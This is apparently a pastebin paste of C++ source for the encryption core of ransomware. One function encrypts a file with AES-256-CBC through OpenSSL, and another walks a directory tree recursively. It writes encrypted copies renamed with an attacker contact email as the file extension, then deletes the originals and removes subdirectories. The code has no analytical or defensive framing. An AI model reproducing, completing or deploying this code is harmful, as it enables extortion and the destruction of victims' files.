Untitled
unknown
plain_text
3 years ago
2.5 kB
8
Indexable
int encryptFile(const char* inFile, const char* outFile, const unsigned char* key, const unsigned char* iv) {
    EVP_CIPHER_CTX* ctx;
    unsigned char bufferIn[BUFFER_SIZE], bufferOut[BUFFER_SIZE + EVP_MAX_BLOCK_LENGTH];
    int bytesRead, bytesWritten, bytesFinal;
    std::ifstream fin(inFile, std::ios::binary);
    std::ofstream fout(outFile, std::ios::binary);
    const EVP_CIPHER* cipher = EVP_aes_256_cbc();
    int cipherKeyLength = EVP_CIPHER_key_length(cipher);
    int cipherBlockSize = EVP_CIPHER_block_size(cipher);
    unsigned char cipherKey[32], cipherIv[16];
    memset(cipherKey, 0, cipherKeyLength);
    memset(cipherIv, 0, cipherBlockSize);
    memcpy(cipherKey, key, cipherKeyLength);
    memcpy(cipherIv, iv, cipherBlockSize);
    ctx = EVP_CIPHER_CTX_new();
    EVP_EncryptInit_ex(ctx, cipher, NULL, cipherKey, cipherIv);
    while (fin.good()) {
        fin.read(reinterpret_cast<char*>(bufferIn), BUFFER_SIZE);
        bytesRead = fin.gcount();
        if (bytesRead > 0) {
            if (!EVP_EncryptUpdate(ctx, bufferOut, &bytesWritten, bufferIn, bytesRead)) {
                EVP_CIPHER_CTX_free(ctx);
                return 0;
            }
            fout.write(reinterpret_cast<char*>(bufferOut), bytesWritten);
        }
    }
    if (!EVP_EncryptFinal_ex(ctx, bufferOut, &bytesFinal)) {
        EVP_CIPHER_CTX_free(ctx);
        return 0;
    }
    fout.write(reinterpret_cast<char*>(bufferOut), bytesFinal);
    EVP_CIPHER_CTX_free(ctx);
    fin.close();
    fout.close();
    return 1;
}
void encryptDirectory(const char* path, const unsigned char* key, const unsigned char* iv) {
    DIR* dir = opendir(path);
    struct dirent* entry;
    char filePath[MAX_PATH];
    while ((entry = readdir(dir)) != NULL) {
        if (strcmp(entry->d_name, ".") != 0 && strcmp(entry->d_name, "..") != 0) {
            sprintf(filePath, "%s\\%s", path, entry->d_name);
            if (entry->d_type == DT_DIR) {
                encryptDirectory(filePath, key, iv);
                RemoveDirectoryA(filePath);
            }
            else {
                char outFile[MAX_PATH];
                sprintf(outFile, "%s.contact-gpgroup491@gmail.com", filePath);
                encryptFile(filePath, outFile, key, iv);
                DeleteFileA(filePath);
            }
        }
    }
    closedir(dir);
}
Editor is loading...